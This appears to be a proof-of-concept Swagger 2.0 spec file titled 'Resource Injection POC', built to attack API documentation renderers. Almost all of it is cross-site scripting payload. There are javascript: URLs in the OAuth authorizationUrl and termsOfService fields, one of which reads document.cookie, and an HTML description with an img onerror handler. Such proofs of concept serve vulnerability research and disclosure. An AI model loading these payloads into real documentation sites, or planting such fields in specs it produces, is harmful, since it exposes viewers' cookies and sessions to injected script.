iframe.yaml

swagger: '2.0'
securityDefinitions:
  a:
    type: oauth2
    authorizationUrl: javascript:alert(document.domain)//
info:
  version: "0.0.1"
  title: Resource Injection POC
  description: <h1>Iframe Injection</h1><img src="https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg" onerror=alert(1)>
  termsOfService: "javascript:alert(document.cookie)"
paths:
  /:
    get:
      responses:
        200:
          description: Successful response